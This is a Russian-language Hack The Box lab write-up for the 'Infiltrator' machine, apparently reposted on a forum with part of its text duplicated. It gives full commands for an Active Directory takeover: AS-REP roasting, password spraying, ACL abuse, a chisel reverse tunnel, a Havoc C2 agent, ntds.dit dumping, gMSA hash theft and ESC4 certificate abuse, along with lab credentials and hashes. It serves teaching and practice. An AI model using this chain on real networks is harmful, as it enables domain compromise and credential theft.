stihl не предоставил(а) никакой дополнительной информации.
Мы проведем классический сбор данных в Active Directory и через цепочку разрешений скомпрометируем учетную запись, с которой получим сессию на хосте. Затем извлечем данные из мессенджера, вскроем приложение на .NET и проэксплуатируем планировщик задач для получения служебной учетной записи. Повысим привилегии через технику ESC4 для службы ADCS.
Наша цель — получение прав суперпользователя на машине Infiltrator с учебной площадки Hack The Box. Уровень сложности задания — «безумный».
И запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел 13 открытых портов:
Главная страница сайта
Сотрудники компании
С помощью следующего скрипта мы можем составить список возможных учетных записей в домене.
Теперь можно использовать инструмент Для просмотра ссылки Войдиили Зарегистрируйся для определения учетных записей, которые реально существуют в домене. Дело в том, что Kerberos возвращает разные коды ошибок для существующей и несуществующей учетных записей.
Учетные записи в домене
Имея список действительных учетных записей, можно провести атаку AS-REP Roasting. Если в UAC пользователя установлен флаг «Без предварительной проверки подлинности Kerberos», то мы можем получить TGT-билет пользователя без верного пароля, а затем сбрутить пароль офлайн.
Проведение атаки AS-REP Roasting
Получаем хеш пользователя L.Clark и можем его пробрутить с помощью hashcat. Затем валидируем учетные данные через NetExec.
Результат подбора пароля
Проверка учетных данных
Получив валидные логин и пароль, собираем информацию из домена. Первым делом получаем список всех пользователей.
Пользователи домена
В описании одной учетной записи есть строка, похожая на пароль. Сохраняем всех юзеров в файл и пробуем использовать найденную строку как пароль для других аккаунтов.
Результат перебора
На некоторых учетных записях получаем ошибку STATUS_ACCOUNT_RESTRICTION, а значит, повторим перебор, но теперь с использованием аутентификации Kerberos.
Результат перебора
Ошибка сменилась на KRB_AP_ERR_SKEW, а значит, нам нужно синхронизировать время на локальной машине с сервером.
или Зарегистрируйся.
или Зарегистрируйся использует теорию графов для выявления скрытых и зачастую непреднамеренных взаимосвязей в среде Active Directory. Ее можно использовать, чтобы легко идентифицировать очень сложные пути атаки.
Первым делом нам нужно создать конфиг infiltrator.txt, в котором должны быть стандартные для любого домена записи DNS.
Затем отключаем системный резолвер и запускаем свой DNS-сервер.
Запуск DNSChef
Затем используем скрипт Для просмотра ссылки Войдиили Зарегистрируйся для сбора данных BloodHound. После завершения работы скрипта не забываем отключить DNSChef и снова активировать systemd-resolved.
Сбор данных BloodHound
Строим граф от пользователя D.ANDERSON.
Граф BloodHound
Пользователь D.ANDERSON имеет право GenericAll на подразделение MARKETING DIGITAL, где состоит пользователь E.RODRIGUEZ. Это право позволяет нам назначить любые права для всех членов подразделения. С помощью скрипта dacledit из пакета Impacket даем пользователю D.ANDERSON полные права на всех членов MARKETING DIGITAL.
Назначение прав на подразделение.
Теперь D.ANDERSON имеет полные права на E.RODRIGUEZ и может сменить пароль целевой учетной записи. Эксплуатировать разрешения можно с помощью Для просмотра ссылки Войдиили Зарегистрируйся.
Изменение пароля пользователя E.RODRIGUEZ
Так мы скомпрометировали еще одну учетную запись. Вернемся к нашему графу и обратим внимание, что пользователь E.RODRIGUEZ имеет право AddSelf на группу CHIEFS MARKETING. Это право позволяет пользователю добавить себя в целевую группу, что мы также можем сделать с помощью bloodyAD.
Добавление пользователя в группу
Судя по графу, члены группы CHIEFS MARKETING имеют право ForceChangePassword на учетную запись M.HARRIS. Это право позволяет изменить пароль целевой учетной записи.
Изменение пароля пользователя M.HARRIS
Пользователь M.HARRIS состоит в группах DEVELOPERS, REMOTE MANAGEMENT USERS (можем авторизоваться по WinRM) и PROTECTED USERS. Из‑за последней группы мы не можем зайти по WinRM с использованием аутентификации NTLM, поэтому будем использовать Kerberos. Сначала запросим TGT-билет пользователя.
Получение TGT-билета
А теперь внесем запись о домене в файл /etc/krb5.conf и получим сессию через Evil-WinRM.
Так получаем первый флаг.
Флаг пользователя
или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на удаленный хост исполняемый файл для Windows и запустим сканирование. В выводе будет много всего, наша цель — найти потенциальные зацепки для продвижения.
Среди установленного ПО находим Output Messenger Server, при этом сразу узнаем, на каких портах работает софт.
Список ПО в автозагрузке
Прослушиваемые TCP-порты
Корпоративный мессенджер занимает много портов, поэтому нам необходимо туннелировать трафик. Для этого будем использовать Для просмотра ссылки Войдиили Зарегистрируйся. На локальном хосте запустим сервер, ожидающий подключения (параметр --reverse) на порт 8888 (параметр --p).
Затем на удаленном хосте запустим клиентскую часть. Указываем адрес сервера и порт для подключения, а также настройки для туннеля. Будем прокидывать порты, занимаемые мессенджером.
Когда туннель готов, скачиваем Для просмотра ссылки Войдиили Зарегистрируйся и пробуем авторизоваться от имени k.turner.
Авторизация Output Messenger
Сообщения в чате Dev_Chat
В чате Dev_Chat говорится про какую‑то консольную утилиту для подключения к LDAP, при этом у нее есть опция подключения с дефолтными кредами. Также находим инструкцию по подключению, в которой указаны учетные данные пользователя m.harris.
Инструкция по использованию утилиты
Авторизуемся в мессенджере от имени пользователя m.harris и в чате с админом находим исполняемый файл.
Чат с админом
Так как в приложении есть дефолтные учетные данные и написано оно на C#, мы можем его легко декомпилировать и получить еще одну учетку.
или Зарегистрируйся и сразу находим зашифрованный пароль.
Результат декомпиляции программы
Немного перепишем декомпилированный код для расшифровки пароля и получим пароль в открытом виде.
Пароль в открытом виде
С полученными учетными данными авторизуемся в корпоративном мессенджере, где продолжаем собирать данные из разных чатов. В чате упоминается, что каждый день пользователь, как по расписанию, получает уведомления. Также узнаем, что пользователь писал свой пароль в чате Chiefs_Marketing_chat.
Чат с пользователем
Также в мессенджере находим ключ API для аккаунта lan_managment.
API-ключ
С полученным ключом мы можем обращаться к API мессенджера. Получим чаты по эндпоинту /api/chatrooms/.
Активные чаты
Для получения содержимого чатов через API нам нужны идентификаторы, которые мы можем достать из базы данных мессенджера. От имени текущего пользователя подключаемся к службе WinRM.
Сессия пользователя winrm_svc
Содержимое каталога Output Messenger
В каталоге JAAA обнаруживаем файл базы данных OM.db3, который скачиваем на локальный хост.
Содержимое JAAA
Открываем файл через DB Browser и получаем идентификатор чата из таблицы om_chatroom.
Содержимое таблицы om_chatroom
Теперь получим логи чата через API /api/chatrooms/logs.
Логи чата
В логах есть учетные данные, с которыми авторизуемся в мессенджере. Вспоминаем про запланированную задачу, о которой говорилось в чате, и переходим к календарю. Среди списка событий можно выбрать запуск приложения.
События Output Messenger
Указываем для запуска путь к файлу агента Havoc. Этот файл должен быть расположен по указанному пути и на нашем клиенте Windows, и на сервере.
Параметры события
Ровно в указанное время произойдет запуск агента.
Сессии Havoc
Содержимое каталога мессенджера
В каталоге FAAA есть скачанные файлы. В одной из папок — скачанный дамп трафика.
Содержимое каталога FAAA
Скачанные файлы
Командой download забираем файл PCAPNG на локальный хост для анализа в Wireshark. В дампе есть пакеты HTTP, а значит, есть шанс найти учетные данные.
Пакеты в Wireshark
Давай просмотрим все запросы и ответы HTTP в удобном виде, для чего выберем первый пакет HTTP и в контекстном меню нажмем «Отслеживать → HTTPS Stream».
Отслеживание HTTP
В потоке 6 видим скачивание файла Bitlocker-backup.7z, а в потоке 11 находим пароль пользователя.
HTTP-запрос/ответ — поток 6
HTTP-запрос/ответ — поток 11
Учетные данные позволят нам подключиться по RDP, но перед этим сдампим из трафика скачанный архив. Для этого в Wireshark выбираем в меню «Файл → Экспортировать объекты → HTTP». В новом окне будет отображен список со всеми файлами из дампа. Все эти файлы можно сохранить локально.
Экспорт объектов HTTP
Файлы из дампа трафика
Архив 7-Zip запаролен, поэтому с помощью Для просмотра ссылки Войдиили Зарегистрируйся получаем хеш, который перебираем с помощью John the Ripper.
Результат подбора пароля
В архиве есть сохраненная HTML-страница с ключами BitLocker.
Содержимое HTML-страницы
Проводник Windows
Расшифруем его с помощью ключа восстановления BitLocker с HTML-странички и увидим внутри резервную копию диска C.
Содержимое диска E
В каталоге с документами у администратора есть резервная копия файла ntds.dit.
Документы администратора
Содержимое архива
Файл ntds.dit содержит информацию о пользователях домена, включая хеши их паролей и ключ Kerberos. Извлечь учетные данные можно с помощью secretsdump из Impacket.
Учетные данные пользователей домена
Сохраняем имена доменных пользователей и их хеши в два файла и валидируем учетные данные с помощью NetExec.
Проверка учетных данных
И ни одна не оказалась валидной! Попробуем получить расширенную информацию о пользователях. Для анализа файла ntds.dit будем использовать утилиту Для просмотра ссылки Войдиили Зарегистрируйся.
В итоге получим базу данных SQLite со всеми данными. В описании пользователя lan_managment находим пароль от учетной записи.
Данные из файла ntds.dit
Граф BloodHound
Для таких учеток автоматически генерируется сложный пароль длиной 240 символов, который меняется автоматически каждые 30 дней. Для аутентификации используется только Kerberos, так как интерактивный вход невозможен. Это связано с тем, что пароль не известен никому и не хранится в локальной системе, поэтому его нельзя извлечь из системного процесса LSASS с помощью Mimikatz.
Но и такими учетными записями нужно как‑то управлять, а это значит, что, если у нас есть к ним доступ, мы можем получить хеш ее пароля. Сделаем это с помощью NetExec.
Получение хеша учетной записи infiltrator_svc$
У нас есть хеш пароля учетной записи infiltrator_svc$, а значит, мы скомпрометировали еще одну учетную запись.
или Зарегистрируйся.
Шаблон сертификата Infiltrator_Template
Утилита отмечает, что шаблон сертификата Infiltrator_Template можно использовать для эксплуатации уязвимости ESC4.
Модифицируем шаблон сертификата Infiltrator_Template, а затем запросим сертификат на имя пользователя administrator.
Запрос сертификата
С помощью техники UnPAC the hash по сертификату запросим TGT-билет пользователя и извлечем из него хеш пароля администратора.
UnPAC the hash
Осталось авторизоваться на сервере и забрать последний флаг.
Флаг рута
Машина захвачена!
Наша цель — получение прав суперпользователя на машине Infiltrator с учебной площадки Hack The Box. Уровень сложности задания — «безумный».
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:10.10.11.31 infiltrator.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Сканер нашел 13 открытых портов:
- 80 (HTTP) — веб‑сервер Microsoft IIS/10.0;
- 88 — Kerberos;
- 135 — Microsoft RPC;
- 139 — NetBIOS, NetLogon;
- 389 — LDAP;
- 445 — SMB;
- 464 — служба смены пароля Kerberos;
- 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
- 636 — LDAP с шифрованием SSL или TLS;
- 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
- 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
- 3389 — служба удаленного рабочего стола;
- 5985 — служба удаленного управления WinRM.
10.10.11.31 infiltrator.htb dc01.infiltrator.htb dc01
Точка входа
На сайте находим список сотрудников. Выписываем их в отдельный файл.С помощью следующего скрипта мы можем составить список возможных учетных записей в домене.
Код:
import sys
if len(sys.argv)==1:
print("Usage: " + sys.argv[0] + " <usernames.txt>")
sys.exit(1)
names = open(sys.argv[1],"r").read().strip().split('\n')
list = []
for name in names:
n1, n2 = name.split(' ')
list.append(n1)
list.append(n1+n2)
list.append(n1+"."+n2)
list.append(n1+"-"+n2)
list.append(n1+"_"+n2)
list.append(n1+n2[0])
list.append(n1+"."+n2[0])
list.append(n1+"-"+n2[0])
list.append(n1+"_"+n2[0])
list.append(n2[0]+n1)
list.append(n2[0]+"."+n1)
list.append(n2[0]+"-"+n1)
list.append(n2[0]+"_"+n1)
list.append(n2)
list.append(n2+n1)
list.append(n2+"."+n1)
list.append(n2+"-"+n1)
list.append(n2+"_"+n1)
list.append(n2+n1[0])
list.append(n2+"."+n1[0])
list.append(n2+"-"+n1[0])
list.append(n2+"_"+n1[0])
list.append(n1[0]+n2)
list.append(n1[0]+"."+n2)
list.append(n1[0]+"-"+n2)
list.append(n1[0]+"_"+n2)
for n in list:
print
python3 getusers.py team.txt > pos_users.txt
Теперь можно использовать инструмент Для просмотра ссылки Войди
kerbrute_linux_amd64 userenum -d infiltrator.htb --dc dc01.infiltrator.htb pos_users.txt
Имея список действительных учетных записей, можно провести атаку AS-REP Roasting. Если в UAC пользователя установлен флаг «Без предварительной проверки подлинности Kerberos», то мы можем получить TGT-билет пользователя без верного пароля, а затем сбрутить пароль офлайн.
GetNPUsers.py -dc-ip 10.10.11.31 infiltrator.htb/ -usersfile users.txt -no-pass
Получаем хеш пользователя L.Clark и можем его пробрутить с помощью hashcat. Затем валидируем учетные данные через NetExec.
hashcat hash.txt rockyou.txt
nxc smb 10.10.11.31 -u 'L.Clark' -p 'WAT?watismypass!'
Получив валидные логин и пароль, собираем информацию из домена. Первым делом получаем список всех пользователей.
nxc smb 10.10.11.31 -u 'L.Clark' -p 'WAT?watismypass!' --users
В описании одной учетной записи есть строка, похожая на пароль. Сохраняем всех юзеров в файл и пробуем использовать найденную строку как пароль для других аккаунтов.
nxc smb 10.10.11.31 -u users.txt -p passwords.txt --continue-on-success
На некоторых учетных записях получаем ошибку STATUS_ACCOUNT_RESTRICTION, а значит, повторим перебор, но теперь с использованием аутентификации Kerberos.
nxc smb DC01.infiltrator.htb -u users.txt -p passwords.txt -k --continue-on-success
Ошибка сменилась на KRB_AP_ERR_SKEW, а значит, нам нужно синхронизировать время на локальной машине с сервером.
Код:
sudo timedatectl set-ntp false
sudo ntpdate -s 10.10.11.31
Точка опоры
У нас есть несколько учеток, пришло время собрать базу данных BloodHound. Для сбора данных с использованием инструментария под Linux нам нужен рабочий DNS-сервер, однако иногда до него можно не достучаться. Поэтому мы развернем свой при помощи скрипта Для просмотра ссылки ВойдиСправка: BloodHound
Утилита Для просмотра ссылки ВойдиПервым делом нам нужно создать конфиг infiltrator.txt, в котором должны быть стандартные для любого домена записи DNS.
Код:
[A]
*.infiltrator.htb=10.10.11.31
[SRV]
_ldap._tcp.pdc._msdcs.infiltrator.htb=0 5 389 infiltrator.htb
_ldap._tcp.gc._msdcs.infiltrator.htb=0 5 389 infiltrator.htb
_kerberos._tcp.dc._msdcs.infiltrator.htb=0 5 88 infiltrator.htb
Затем отключаем системный резолвер и запускаем свой DNS-сервер.
sudo systemctl stop systemd-resolved
python3 dnschef.py --file ./infiltrator.txt
Затем используем скрипт Для просмотра ссылки Войди
Код:
python3 bloodhound.py -d 'infiltrator.htb' -u 'L.Clark' -p 'WAT?watismypass!' -c All -ns 127.0.0.1 -dc DC01.infiltrator.htb --use-ldap --zip --auth-method ntlm
sudo systemctl start systemd-resolved
Строим граф от пользователя D.ANDERSON.
Пользователь D.ANDERSON имеет право GenericAll на подразделение MARKETING DIGITAL, где состоит пользователь E.RODRIGUEZ. Это право позволяет нам назначить любые права для всех членов подразделения. С помощью скрипта dacledit из пакета Impacket даем пользователю D.ANDERSON полные права на всех членов MARKETING DIGITAL.
dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'd.anderson' -target-dn 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' 'infiltrator.htb/d.anderson:WAT?watismypass!' -k -dc-ip 10.10.11.31
Теперь D.ANDERSON имеет полные права на E.RODRIGUEZ и может сменить пароль целевой учетной записи. Эксплуатировать разрешения можно с помощью Для просмотра ссылки Войди
python3 bloodyAD.py --host "dc01.infiltrator.htb" --dc-ip 10.10.11.31 -d infiltrator.htb -u d.anderson -p 'WAT?watismypass!' -k set password E.RODRIGUEZ 'RRrr!!11'
Так мы скомпрометировали еще одну учетную запись. Вернемся к нашему графу и обратим внимание, что пользователь E.RODRIGUEZ имеет право AddSelf на группу CHIEFS MARKETING. Это право позволяет пользователю добавить себя в целевую группу, что мы также можем сделать с помощью bloodyAD.
python3 bloodyAD.py --host "dc01.infiltrator.htb" --dc-ip 10.10.11.31 -d infiltrator.htb -u e.rodriguez -p 'RRrr!!11' -k add groupMember 'CHIEFS MARKETING' E.RODRIGUEZ
Судя по графу, члены группы CHIEFS MARKETING имеют право ForceChangePassword на учетную запись M.HARRIS. Это право позволяет изменить пароль целевой учетной записи.
python3 bloodyAD.py --host "dc01.infiltrator.htb" --dc-ip 10.10.11.31 -d infiltrator.htb -u e.rodriguez -p 'RRrr!!11' -k set password M.HARRIS 'RRrr!!11'
Пользователь M.HARRIS состоит в группах DEVELOPERS, REMOTE MANAGEMENT USERS (можем авторизоваться по WinRM) и PROTECTED USERS. Из‑за последней группы мы не можем зайти по WinRM с использованием аутентификации NTLM, поэтому будем использовать Kerberos. Сначала запросим TGT-билет пользователя.
getTGT.py 'infiltrator.htb/m.harris:RRrr!!11' -dc-ip 10.10.11.31
А теперь внесем запись о домене в файл /etc/krb5.conf и получим сессию через Evil-WinRM.
Код:
[libdefaults]
default_realm = INFILTRATOR.HTB
[realms]
INFILTRATOR.HTB = {
kdc = DC01.INFILTRATOR.HTB
}
Так получаем первый флаг.
KRB5CCNAME='m.harris.ccache' evil-winrm -i dc01.infiltrator.htb -u 'm.harris' -r INFILTRATOR.HTB
Продвижение
Для продвижения нам нужно собрать информацию. Я буду использовать для этого скрипты PEASS.Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки ВойдиЗагрузим на удаленный хост исполняемый файл для Windows и запустим сканирование. В выводе будет много всего, наша цель — найти потенциальные зацепки для продвижения.
Среди установленного ПО находим Output Messenger Server, при этом сразу узнаем, на каких портах работает софт.
Корпоративный мессенджер занимает много портов, поэтому нам необходимо туннелировать трафик. Для этого будем использовать Для просмотра ссылки Войди
./chisel.bin server --p 8888 --reverse
Затем на удаленном хосте запустим клиентскую часть. Указываем адрес сервера и порт для подключения, а также настройки для туннеля. Будем прокидывать порты, занимаемые мессенджером.
.\chisel.exe client 10.10.16.17:8888 R:14121:127.0.0.1:14121 R:14122:127.0.0.1:14122 R:14123:127.0.0.1:14123 R:14124:127.0.0.1:14124 R:14125:127.0.0.1:14125 R:14126:127.0.0.1:14126
Когда туннель готов, скачиваем Для просмотра ссылки Войди
В чате Dev_Chat говорится про какую‑то консольную утилиту для подключения к LDAP, при этом у нее есть опция подключения с дефолтными кредами. Также находим инструкцию по подключению, в которой указаны учетные данные пользователя m.harris.
Авторизуемся в мессенджере от имени пользователя m.harris и в чате с админом находим исполняемый файл.
Так как в приложении есть дефолтные учетные данные и написано оно на C#, мы можем его легко декомпилировать и получить еще одну учетку.
Пользователь winrm_svc
Декомпилируем исполняемый файл через Для просмотра ссылки ВойдиНемного перепишем декомпилированный код для расшифровки пароля и получим пароль в открытом виде.
Код:
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
namespace ConsoleApp2
{
public class Decryptor
{
public static string DecryptString(string key, string cipherText)
{
using (Aes aes = Aes.Create())
{
aes.Key = Encoding.UTF8.GetBytes(key);
aes.IV = new byte[16];
ICryptoTransform decryptor = aes.CreateDecryptor(aes.Key, aes.IV);
using (MemoryStream memoryStream = new MemoryStream(Convert.FromBase64String(cipherText)))
{
using (CryptoStream cryptoStream = new CryptoStream((Stream)memoryStream, decryptor, CryptoStreamMode.Read))
{
using (StreamReader streamReader = new StreamReader((Stream)cryptoStream))
return streamReader.ReadToEnd();
}
}
}
}
}
internal class Program
{
static void Main(string[] args)
{
string str2 = "winrm_svc";
string cipherText = "TGlu22oo8GIHRkJBBpZ1nQ/x6l36MVj3Ukv4Hw86qGE=";
string b64password = Decryptor.DecryptString("b14ca5898a4e4133bbce2ea2315a1916", cipherText);
b64password = Decryptor.DecryptString("b14ca5898a4e4133bbce2ea2315a1916", b64password);
Console.WriteLine(b64password);
}
}
}
С полученными учетными данными авторизуемся в корпоративном мессенджере, где продолжаем собирать данные из разных чатов. В чате упоминается, что каждый день пользователь, как по расписанию, получает уведомления. Также узнаем, что пользователь писал свой пароль в чате Chiefs_Marketing_chat.
Также в мессенджере находим ключ API для аккаунта lan_managment.
С полученным ключом мы можем обращаться к API мессенджера. Получим чаты по эндпоинту /api/chatrooms/.
curl -s -k -H 'API-KEY: 558R501T5I6024Y8JV3B7KOUN1A518GG' -H 'Accept: application/json, text/javascript, [I]/[/I]' -H 'Host: infiltrator.htb:14125' '[URL]http://127.0.0.1:14125/api/chatrooms/[/URL]' | jq
Для получения содержимого чатов через API нам нужны идентификаторы, которые мы можем достать из базы данных мессенджера. От имени текущего пользователя подключаемся к службе WinRM.
evil-winrm -i dc01.infiltrator.htb -u winrm_svc -p 'WinRm@$svc^!^P'
Сессия o.martinez
Переходим к каталогу приложения Output Messenger и, помимо логов, находим там еще один каталог.В каталоге JAAA обнаруживаем файл базы данных OM.db3, который скачиваем на локальный хост.
Открываем файл через DB Browser и получаем идентификатор чата из таблицы om_chatroom.
Теперь получим логи чата через API /api/chatrooms/logs.
curl -s -k -H 'API-KEY: 558R501T5I6024Y8JV3B7KOUN1A518GG' -H 'Accept: application/json, text/javascript, [I]/[/I]' -H 'Host: infiltrator.htb:14125' '[URL]http://127.0.0.1:14125/api/chatrooms/logs?roomkey=20240220014618@conference.com&fromdate=2024/02/01&todate=2024/09/01[/URL]' | jq
В логах есть учетные данные, с которыми авторизуемся в мессенджере. Вспоминаем про запланированную задачу, о которой говорилось в чате, и переходим к календарю. Среди списка событий можно выбрать запуск приложения.
Указываем для запуска путь к файлу агента Havoc. Этот файл должен быть расположен по указанному пути и на нашем клиенте Windows, и на сервере.
Ровно в указанное время произойдет запуск агента.
Пользователь o.martinez
У нового пользователя сразу изучим каталог мессенджера.В каталоге FAAA есть скачанные файлы. В одной из папок — скачанный дамп трафика.
Командой download забираем файл PCAPNG на локальный хост для анализа в Wireshark. В дампе есть пакеты HTTP, а значит, есть шанс найти учетные данные.
Давай просмотрим все запросы и ответы HTTP в удобном виде, для чего выберем первый пакет HTTP и в контекстном меню нажмем «Отслеживать → HTTPS Stream».
В потоке 6 видим скачивание файла Bitlocker-backup.7z, а в потоке 11 находим пароль пользователя.
Учетные данные позволят нам подключиться по RDP, но перед этим сдампим из трафика скачанный архив. Для этого в Wireshark выбираем в меню «Файл → Экспортировать объекты → HTTP». В новом окне будет отображен список со всеми файлами из дампа. Все эти файлы можно сохранить локально.
Архив 7-Zip запаролен, поэтому с помощью Для просмотра ссылки Войди
Код:
./7z2john.pl 'BitLocker-backup(1).7z' > 7z_hash.txt
john --wordlist=rockyou.txt 7z_hash.txt
В архиве есть сохраненная HTML-страница с ключами BitLocker.
Пользователь lan_managment
Заходим по RDP как o.martinez и в проводнике сразу отмечаем зашифрованный диск E.Расшифруем его с помощью ключа восстановления BitLocker с HTML-странички и увидим внутри резервную копию диска C.
В каталоге с документами у администратора есть резервная копия файла ntds.dit.
Файл ntds.dit содержит информацию о пользователях домена, включая хеши их паролей и ключ Kerberos. Извлечь учетные данные можно с помощью secretsdump из Impacket.
secretsdump.py -system SYSTEM -security SECURITY -ntds ntds.dit LOCAL
Сохраняем имена доменных пользователей и их хеши в два файла и валидируем учетные данные с помощью NetExec.
nxc smb 10.10.11.31 -u ntds_users.txt -p ntds_passwords.txt --no-bruteforce --continue-on-success
И ни одна не оказалась валидной! Попробуем получить расширенную информацию о пользователях. Для анализа файла ntds.dit будем использовать утилиту Для просмотра ссылки Войди
ntdsdotsqlite ntds.dit --system SYSTEM -o NTDS.sqlite
В итоге получим базу данных SQLite со всеми данными. В описании пользователя lan_managment находим пароль от учетной записи.
Пользователь infiltrator_svc$
Граф BloodHound показывает, что у пользователя lan_managment есть право ReadGMSAPassword на объект infiltrator_svc$.
Справка: MSA
Управляемые учетные записи (MSA) — это специальный тип учетных записей Active Directory, которые можно использовать для безопасного запуска служб, приложений и заданий планировщика. Основная их идея в том, что паролем полностью управляет Active Directory.Для таких учеток автоматически генерируется сложный пароль длиной 240 символов, который меняется автоматически каждые 30 дней. Для аутентификации используется только Kerberos, так как интерактивный вход невозможен. Это связано с тем, что пароль не известен никому и не хранится в локальной системе, поэтому его нельзя извлечь из системного процесса LSASS с помощью Mimikatz.
Но и такими учетными записями нужно как‑то управлять, а это значит, что, если у нас есть к ним доступ, мы можем получить хеш ее пароля. Сделаем это с помощью NetExec.
nxc ldap 10.10.11.31 -u lan_managment -p 'l@n_M@an!1331' --gmsa
У нас есть хеш пароля учетной записи infiltrator_svc$, а значит, мы скомпрометировали еще одну учетную запись.
Локальное повышение привилегий
ESC4
На сервере развернута служба сертификации Active Directory, а значит, стоит проверить настройки ADCS и активных шаблонов сертификатов. Для этого будем использовать утилиту Для просмотра ссылки Войдиcertipy find -u 'infiltrator_svc$' -hashes 407546ca61cd7d3870e7dc6b0b007ecd -dc-ip 10.10.11.31 -vulnerable -stdout
Утилита отмечает, что шаблон сертификата Infiltrator_Template можно использовать для эксплуатации уязвимости ESC4.
Справка: ESC4
Уязвимость ESC4 заключается в том, что атакующий может изменять свойства шаблона сертификата. Например, мы можем изменить параметры сертификата так, чтобы он был уязвим к ESC1 — когда шаблон сертификата разрешает проверку подлинности клиента и дает запрашивающему указать произвольное альтернативное имя субъекта (SAN). Это приводит к тому, что мы можем пройти аутентификацию от имени привилегированного пользователя, включая администратора домена.Модифицируем шаблон сертификата Infiltrator_Template, а затем запросим сертификат на имя пользователя administrator.
Код:
certipy template -u 'infiltrator_svc$' -hashes 407546ca61cd7d3870e7dc6b0b007ecd -dc-ip 10.10.11.31 -template Infiltrator_Template -save-old
certipy req -u 'infiltrator_svc$' -hashes 407546ca61cd7d3870e7dc6b0b007ecd -dc-ip 10.10.11.31 -ca infiltrator-DC01-CA -target infiltrator.htb -template Infiltrator_Template -upn administrator@infiltrator.htb
С помощью техники UnPAC the hash по сертификату запросим TGT-билет пользователя и извлечем из него хеш пароля администратора.
certipy auth -pfx administrator.pfx
Осталось авторизоваться на сервере и забрать последний флаг.
evil-winrm -i dc01.infiltrator.htb -u administrator -H 1356f502d2764368302ff0369b1121a1
Машина захвачена!